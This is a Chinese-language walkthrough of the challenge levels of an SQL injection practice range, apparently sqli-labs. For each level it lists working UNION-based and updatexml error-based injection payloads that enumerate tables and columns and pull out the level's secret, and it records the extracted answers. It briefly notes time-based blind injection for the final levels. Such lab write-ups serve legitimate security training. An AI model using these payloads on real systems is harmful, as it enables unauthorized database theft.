本关需要我们在10步之内获取到字段名。不过方法和之前还是一样。但是本关会随机生成数据库名字,表名,列名。以下语句是根据我在通关时所随机产生的内容而定的。
输入:?id=1
,?id=1'
据此得出闭合方式为单引号闭合。
输入:?id=-1' union select 1,2,3--+
输入:?id=-1' union select 1,database(),3--+
输入:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+
输入:?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges'and table_name='vsj7fehc5i' --+
输入:?id=-1' union select 1,group_concat(secret_XGTK),3 from vsj7fehc5i --+
爆出字段值:Mjrcu80zTy4wrKfjATiZsLWJ
将字段值输入到下方提交框。成功通关。
这关的闭合方式是整型加右括号。
输入:?id=1,?id=1',?id=1",?id=1"),?id=1'),id=1)
输入:?id=-1) union select 1,2,3--+
输入:?id=-1) union select 1,2,database()--+
输入:?id=-1) union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='challenges')--+
输入:?id=-1) union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='zpr0lpdmkw') --+
输入:?id=-1) union select 1,2,(select group_concat(secret_J2C6)from zpr0lpdmkw) --+
爆出字段值:09beF2ynWrXTfhGWzi0ovDMJ
将字段值输入到下方提交框。成功通关。
这关闭合方式为单引号+右括号。其余和54关一样。
输入:?id=-1') union select 1,2,3--+
输入:?id=-1') union select 1,2,database() --+
输入:?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges' --+
输入:?id=-1') union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='zpr0lpdmkw' --+
输入:?id=-1') union select 1,2,group_concat(secret_J2C6)from zpr0lpdmkw --+
爆出字段值:09beF2ynWrXTfhGWzi0ovDMJ
将字段值输入到下方提交框。成功通关。
这关闭合方式为双引号。其余和54关一样。
输入:?id=-1" union select 1,2,3--+
输入:?id=-1" union select 1,2,database() --+
输入:?id=-1" union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='challenges' --+
输入:?id=-1" union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='2r9opt8tzj' --+
输入:?id=-1" union select 1,2,group_concat(secret_4ARD)from 2r9opt8tzj --+
爆出字段值:rXgRsmzNhKuHNbhqkjJ9lzBx
将字段值输入到下方提交框。成功通关。
本关闭合方式为单引号闭合,有报错信息,故而使用报错注入。
输入:?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
输入:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
输入:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'challenges' and table_name='5gh6ljrf13'),0x7e),1)--+
输入:?id=-1'and updatexml(1,concat(0x7e,(select secret_WJVI from challenges.5gh6ljrf13),0x7e),1)--+
爆出字段值:qFOj88YsAHOnrVyIN54ZDSpZ
将字段值输入到下方提交框。成功通关。
本关闭合方式为整型,其余和58关一样,使用报错注入即可。
输入:?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
输入:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
输入:?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema= 'challenges' and table_name='npu8h7nj05'),0x7e),1)--+
输入:?id=-1 and updatexml(1,concat(0x7e,(select secret_H4H1 from challenges.npu8h7nj05),0x7e),1)--+
爆出字段值:nINDG1LGwH0C1CdMOeanfq9s
将字段值输入到下方提交框。成功通关。
本关闭合方式为双引号+右括号,同样使用报错注入。
输入:?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
输入:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
输入:?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges'and table_name='fbynjvc6li'),0x7e),1) --+
输入:?id=-1") and updatexml(1,concat(0x7e,(select secret_9Z3U from challenges.fbynjvc6li),0x7e),1)--+
爆出字段值:m4HWBGS4ZoCqbCqTef8PtH2A
将字段值输入到下方提交框。成功通关。
本关的闭合方式为单引号+右括号+右括号,同样使用报错注入。
输入:?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
输入:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='challenges'),0x7e),1)--+
输入:?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='challenges'and table_name='aymft7nh3n'),0x7e),1)--+
输入:?id=-1')) and updatexml(1,concat(0x7e,(select secret_2LNN from challenges.aymft7nh3n),0x7e),1)--+
爆出字段值:1stxK1FCc15aamn7w2fMaLWt
将字段值输入到下方提交框。成功通关。
本关要130步之内,而且没有报错信息,这关使用时间盲注。本关的闭合方式为单引号+右括号。
本关闭合方式为单引号,同样使用时间盲注。
本关闭合方式为右括号+右括号,同样使用时间盲注。
本关的闭合方式为双引号+右括号,同样使用时间盲注。
SQLI靶场到此结束!完结撒花!